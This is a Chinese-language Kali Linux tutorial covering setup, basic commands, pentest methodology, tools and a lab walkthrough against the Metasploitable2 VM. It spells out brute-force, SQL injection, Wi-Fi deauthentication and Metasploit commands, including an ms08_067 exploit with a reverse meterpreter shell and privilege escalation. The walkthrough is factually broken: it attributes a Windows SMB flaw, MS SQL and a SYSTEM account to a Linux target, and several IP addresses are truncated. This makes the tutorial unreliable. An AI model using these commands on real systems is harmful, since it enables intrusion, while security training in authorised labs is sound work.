目录
- Kali Linux 简介:它是什么?
- 重要声明与法律警告
- 第一步:准备工作与环境搭建
- 1 下载 Kali Linux 镜像
- 2 选择安装方式:虚拟机 vs. 物理机
- 3 在 VMware/VirtualBox 中安装 Kali
- 4 配置网络(NAT 桥接模式)
- 第二步:Kali Linux 基础入门
- 1 初次启动与用户配置
- 2 更新系统
- 3 文件系统与基本命令
- 4 包管理器 (
apt)
- 第三步:渗透测试方法论(PTES)
- 1 信息收集
- 2 漏洞分析
- 3 渗透攻击
- 4 后渗透
- 5 报告编写
- 第四步:核心工具实战演练
- 1 信息收集工具:
Nmap,Maltego,theHarvester - 2 漏洞扫描与分析:
Nessus,OpenVAS,Nikto - 3 Web 应用攻击:
Burp Suite,SQLMap,Metasploit Framework - 4 密码攻击:
John the Ripper,Hashcat,Hydra - 5 无线网络攻击:
Aircrack-ng套件 - 6 社会工程学:
Social Engineering Toolkit (SET)
- 1 信息收集工具:
- 第五步:完整渗透测试模拟场景
- 1 目标设定:VulnHub 上的 Metasploitable2
- 2 信息收集
- 3 漏洞扫描与发现
- 4 渗透攻击与获取 Shell
- 5 权限提升
- 6 清理痕迹与总结
- 第六步:学习资源与进阶路径
- 1 官方文档
- 2 在线课程
- 3 书籍
- 4 CTF 平台
- 总结与最佳实践
Kali Linux 简介:它是什么?
Kali Linux 是一个基于 Debian 的 Linux 发行版,由 Offensive Security 公司维护,它被设计成一个专业的渗透测试和安全审计平台。

核心特点:
- 预装工具集:包含了数百个已预配置好的安全工具,如信息收集、漏洞分析、Web 应用分析、数据库评估、密码攻击、无线攻击等。
- 多语言支持:默认支持英语,但也提供了对大量其他语言的支持。
- 高度可定制:用户可以根据自己的需求进行定制。
- 开源免费:遵循开源协议,任何人都可以免费下载和使用。
它不是什么?
Kali Linux 不是一个日常使用的操作系统,它是一个专业的安全工具箱,不适合作为办公、娱乐或开发的主系统,滥用其工具进行非法活动是严重的犯罪行为。
重要声明与法律警告
⚠️ 极其重要:请仔细阅读并理解以下内容 ⚠️

- 合法性是第一原则:未经明确书面许可,对任何不属于你的系统进行渗透测试都是非法的。 这包括但不限于你的朋友、家人、公司或任何公共网络。
- 法律后果:非法入侵他人计算机系统可能导致严重的法律后果,包括但不限于罚款、监禁和永久性的犯罪记录。
- 道德责任:作为一名(未来的)安全专业人员,你有道德责任确保你的行为是合法和合乎道德的。
- 学习环境:本教程的所有实战演练都将在你自己的、隔离的、授权的环境中进行(在虚拟机中运行 VulnHub 的靶机)。
- 负责任地披露:如果你在合法授权的测试中发现漏洞,应遵循负责任披露的原则,即首先向相关方报告,而不是公开或利用漏洞。
在继续之前,请确保你已阅读并同意以上声明。
第一步:准备工作与环境搭建
为了安全地学习,我们推荐使用虚拟机,这样,你的主系统(Windows/macOS)不会受到影响,并且可以轻松地创建、快照和销毁靶机环境。
1 下载 Kali Linux 镜像
访问 Kali Linux 官方网站:https://www.kali.org/get-kali/
下载适合你的虚拟机平台的镜像文件,kali-linux-2025.2-vmware-amd64.ova 或 kali-linux-2025.2-virtualbox-amd64.ova。

2 选择安装方式:虚拟机 vs. 物理机
- 虚拟机 (推荐):
- 优点:安全、隔离、可快照、易于恢复、资源占用灵活。
- 缺点:性能有一定损耗。
- 推荐软件:VMware Workstation Player (免费) 或 Oracle VirtualBox (免费)。
- 物理机 (进阶):
- 优点:性能最佳,可以直接操作硬件(如无线网卡)。
- 缺点:需要额外的电脑,有操作风险,无法像虚拟机那样轻松重置。
- 安装方式:通过 U 盘进行安装,类似于安装 Ubuntu 等其他 Linux 发行版。
3 在 VMware/VirtualBox 中安装 Kali
- 安装 VMware Player 或 VirtualBox。
- 打开软件,选择“打开虚拟机”或“导入设备”,并选择你下载的
.ova文件。 - 导入完成后,启动虚拟机。
- 首次启动时,Kali 会自动调整屏幕分辨率和网络设置,根据提示完成初始设置(如创建用户、设置时区等)。
4 配置网络(NAT 桥接模式)
为了让 Kali 能够与你的主系统以及互联网通信,需要配置网络模式。
- NAT 模式:默认模式,Kali 可以访问互联网,但外部无法直接访问 Kali,适合下载工具。
- 桥接模式:将 Kali 的虚拟网卡与你的物理网卡桥接,使 Kali 在网络中看起来像一台独立的物理机。这是进行渗透测试时最常用的模式,因为它允许你像真实攻击者一样从局域网内访问目标。
在 VMware/VirtualBox 的虚拟机设置中,将网络适配器类型改为“桥接模式”。
第二步:Kali Linux 基础入门
1 初次启动与用户配置
- 默认用户:
kali/kali - 默认 root 用户:
root/toor(首次登录后建议为 root 设置一个强密码) - 建议:创建一个你自己的普通用户进行日常操作,只在需要时使用
sudo提权。
2 更新系统
保持系统工具的最新版本至关重要,打开终端,执行:
# 更新软件包列表 sudo apt update # 升级所有已安装的软件包 sudo apt upgrade -y # 升级系统(如果有新版本的可用) sudo apt full-upgrade -y
3 文件系统与基本命令
熟悉 Linux 命令行是使用 Kali 的基础。
- 文件/目录操作:
ls:列出文件和目录 (ls -la显示详细信息)cd:切换目录 (cd ..返回上级目录)pwd:显示当前所在目录mkdir:创建目录 (mkdir test_dir)touch:创建空文件 (touch file.txt)cp:复制 (cp file1.txt dir1/)mv:移动/重命名 (mv file1.txt file2.txt)rm:删除 (rm file.txt;rm -r dir/递归删除目录)cat/less:查看文件内容
- 权限操作:
chmod:修改文件权限 (chmod +x script.sh给脚本添加执行权限)
- 网络操作:
ifconfig/ip addr:查看本机 IP 地址ping:测试网络连通性 (ping 8.8.8.8)ssh:通过 SSH 连接到远程主机 (ssh user@ip_address)
4 包管理器 (apt)
apt 是 Debian 系统的包管理器,用于安装、更新和删除软件。
# 安装一个新工具 sudo apt install nmap # 搜索一个工具 apt search nmap # 删除一个工具 sudo apt remove nmap
第三步:渗透测试方法论
一个专业的渗透测试遵循一个标准化的流程,最常用的是 PTES (Penetration Testing Execution Standard)。
1 信息收集
- 目标:尽可能多地收集关于目标的信息。
- 域名、IP 地址、邮件地址、员工信息、技术栈、开放端口等。
- Kali 工具:
Nmap,Maltego,theHarvester,Recon-ng,Shodan。
2 漏洞分析
- 目标:识别在信息收集中发现的资产上存在的潜在安全漏洞。
- 识别操作系统、服务、应用程序的版本,并查找与这些版本相关的已知漏洞。
- Kali 工具:
Nmap(脚本扫描),Nessus,OpenVAS,Nikto。
3 渗透攻击
- 目标:利用发现的漏洞获取对系统的访问权限。
- 尝试各种攻击向量,如缓冲区溢出、SQL 注入、跨站脚本、暴力破解等。
- Kali 工具:
Metasploit Framework,Burp Suite,SQLMap,Hydra。
4 后渗透
- 目标:在获得初始访问权限后,提升权限、维持访问、在内网中横向移动,并收集更多敏感信息。
- 权限提升、安装后门、内网探测、数据窃取。
- Kali 工具:
Mimikatz,Meterpreter,Smbmap,Netcat。
5 报告编写
- 目标:将测试过程、发现、风险和修复建议整理成一份清晰、专业的报告。
- 执行摘要、详细发现、漏洞评级、修复方案。
- Kali 工具:
Markdown编辑器,LaTeX,Dradis。
第四步:核心工具实战演练
这里我们只介绍每个类别的代表性工具,详细用法需要通过 man 命令或官方文档学习。
1 信息收集工具
-
Nmap (Network Mapper)
-
功能:网络发现和安全审计,端口扫描是它的核心功能。
-
常用命令:
# 扫描单个主机的所有 TCP 端口 nmap -p- 192.168.1.10 # 进行服务版本和操作系统探测 nmap -sV -O 192.168.1.10 # 进行全端口 UDP 扫描 (较慢) nmap -sU -p- 192.168.1.10 # 使用 NSE 脚本扫描漏洞 nmap --script vuln 192.168.1.10
-
2 漏洞扫描与分析
- Nessus
- 功能:业界领先的漏洞扫描器,拥有庞大的漏洞数据库。
- 使用:需要从官网下载并注册免费版,然后启动其服务,在 Kali 中通过浏览器访问
https://127.0.0.1:8834进行管理。
- OpenVAS
- 功能:Nessus 的一个强大的开源替代品。
- 使用:在 Kali 中,运行
sudo gvm-setup来初始化和启动服务,通过浏览器访问https://127.0.0.1:9392进行管理。
3 Web 应用攻击
- Burp Suite
- 功能:Web 应用渗透测试的瑞士军刀,它是一个集代理、扫描器、入侵者、重放器于一体的集成平台。
- 使用:配置你的浏览器代理指向 Burp Suite (默认
0.0.1:8080),所有浏览器的流量都会经过 Burp,你可以拦截、修改和分析 HTTP/S 请求。
- SQLMap
- 功能:自动化 SQL 注入工具。
- 使用:当你发现一个可能存在 SQL 注入的 URL 时,可以将它交给 SQLMap。
# 自动检测并利用注入点 sqlmap -u "http://example.com/page.php?id=1"
4 密码攻击
- John the Ripper
- 功能:快速的密码破解工具,支持多种哈希算法。
- 使用:通常用于破解获取到的密码哈希文件。
- Hashcat
- 功能:号称世界上最快的密码破解工具,利用 GPU 进行大规模并行计算。
- 使用:功能强大但命令行参数复杂,是高级密码破解的首选。
- Hydra
- 功能:在线密码破解工具,支持多种协议 (SSH, FTP, HTTP, RDP 等)。
- 使用:对登录表单或服务进行暴力破解或字典攻击。
# 破解 SSH hydra -l admin -P /path/to/wordlist.txt ssh://192.168.1.10
5 无线网络攻击
- Aircrack-ng 套件
- 功能:一套用于评估 Wi-Fi 网络安全的工具集。
- 流程:
airmon-ng:将无线网卡监听模式。airodump-ng:扫描并监听附近的 Wi-Fi 网络,捕获握手包。aireplay-ng:进行 Deauthentication 攻击,强制客户端重新连接以捕获握手包。aircrack-ng:使用密码字典破解捕获到的握手包。
6 社会工程学
- Social Engineering Toolkit (SET)
- 功能:自动化社会工程学攻击,如钓鱼网站、USB 攻击等。
- 使用:在终端输入
setoolkit启动交互式菜单。
第五步:完整渗透测试模拟场景
让我们将学到的知识串联起来,进行一次完整的实战演练。
1 目标设定:VulnHub 上的 Metasploitable2
VulnHub 是一个提供各种故意设计有漏洞的虚拟机镜像的平台,是绝佳的练习靶场。
- 下载靶机:从 VulnHub 下载
Metasploitable2的镜像文件。 - 导入靶机:将下载的镜像导入到你的 VMware/VirtualBox 中,并启动它。
- 获取靶机 IP:在 Metasploitable2 的终端中运行
ifconfig,记下它的 IP 地址(168.1.20)。
2 信息收集 (在 Kali 中执行)
- 使用 Nmap 扫描靶机:
nmap -sV -O -p- 192.168.1.20
- 分析结果:你会看到靶机开放了大量端口,如 21 (FTP), 22 (SSH), 23 (Telnet), 80 (HTTP), 139/445 (SMB), 1433 (MS SQL Server) 等,并且很多服务版本非常老旧,存在已知漏洞。
3 漏洞扫描与发现
- 使用 Nmap NSE 脚本扫描 SMB 漏洞:
nmap --script vuln 192.168.1.20
- 分析结果:在输出中,你可能会看到一条关键信息:
| ms08-067: VULNERABLE: | Microsoft Windows Server Service RPC Request Handling Remote Code Execution | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | Risk factor: HIGH | Description: | ...这表明靶机存在一个严重漏洞:
ms08-067。
- 分析结果:在输出中,你可能会看到一条关键信息:
4 渗透攻击与获取 Shell
-
使用 Metasploit Framework: Metasploit 是一个强大的渗透测试框架,集成了大量的攻击模块。
# 启动 msfconsole msfconsole # 搜索 ms08-067 相关的模块 search ms08_067 # 使用该模块 use exploit/windows/smb/ms08_067_netapi # 查看模块选项 show options # 设置目标 RHOSTS (靶机 IP) set RHOSTS 192.168.1.20 # 可以设置 PAYLOAD (攻击成功后执行的代码),这里使用一个简单的 meterpreter 反向 shell set payload windows/meterpreter/reverse_tcp # 设置 LHOST (你的 Kali IP) set LHOST 192.168.1.10 # <--- 替换成你自己的 Kali IP # 检查选项是否都已设置 show options # 发起攻击 exploit
-
获取 Meterpreter Shell: 如果攻击成功,你会得到一个
meterpreter >的提示符,这是一个功能强大的交互式 shell。# 查看当前用户权限 getuid # 查看系统信息 sysinfo # 查看网络连接 netstat # 查看文件 ls C:\
5 权限提升
-
使用 Metasploit 的提权模块: 在
meterpreter >提示符下,运行post模块。# 搜索提权模块 search post/multi/recon/local_exploit_suggester # 使用该模块 use post/multi/recon/local_exploit_suggester # 设置目标 SESSION (当前的 meterpreter 会话 ID) set SESSION 1 # <--- 替换成你的会话 ID # 运行 run
-
分析结果并执行提权: 模块会列出当前系统上可能存在的提权漏洞,它可能会发现
MS10-015漏洞,你可以找到对应的exploit模块再次利用,或者使用getsystem命令尝试自动提权。# 在 meterpreter 中尝试自动提权 getsystem
如果成功,再次执行
getuid,你会看到权限已经变成了NT AUTHORITY\SYSTEM。
6 清理痕迹与总结
- 清理痕迹:在实际渗透测试中,清理痕迹非常重要,但在练习环境中,这步可以省略。
- 我们通过信息收集发现了目标。
- 通过漏洞扫描找到了
ms08-067这个严重漏洞。 - 使用 Metasploit 成功利用该漏洞获取了初始访问权限。
- 进一步利用本地提权漏洞获得了最高权限。
这个流程完整地展示了 PTES 的前四个阶段。
第六步:学习资源与进阶路径
Kali 和渗透测试是一个庞大且不断发展的领域,学习永无止境。
- 1 官方文档
- Kali Linux Documentation: https://docs.kali.org/
- Metasploit Documentation: https://docs.metasploit.com/
- 2 在线课程
- Offensive Security (OSCP):业界黄金标准,但难度极高,需要扎实的功底。
- TryHackMe:提供大量引导式、房间式的学习路径,非常适合初学者。
- Hack The Box:提供大量在线靶机,模拟真实环境,适合进阶练习。
- 3 书籍
- 《The Web Application Hacker's Handbook》
- 《Penetration Testing: A Hands-On Introduction to Hacking》
- 《Metasploit: The Penetration Tester's Guide》
- 4 CTF 平台
- CTFtime.org:全球 CTF 比赛日历和题目集。
- picoCTF:面向初学者的 CTF 平台。
总结与最佳实践
- 理论与实践结合:不要只停留在看教程,一定要动手实践,VulnHub 和在线靶场是最好的朋友。
- 理解原理:不要满足于“跑脚本”,理解每个工具背后的工作原理(如 TCP/IP 协议、HTTP 协议、漏洞原理)才能成为一名真正的专家。
- 打好基础:计算机网络、操作系统、编程(至少 Python)是渗透测试的基石。
- 保持好奇心和耐心:破解一个难题可能需要数小时甚至数天,享受这个过程。
- 保持道德:始终牢记法律和道德的底线。
祝你学习顺利,早日成为一名优秀的网络安全专家!
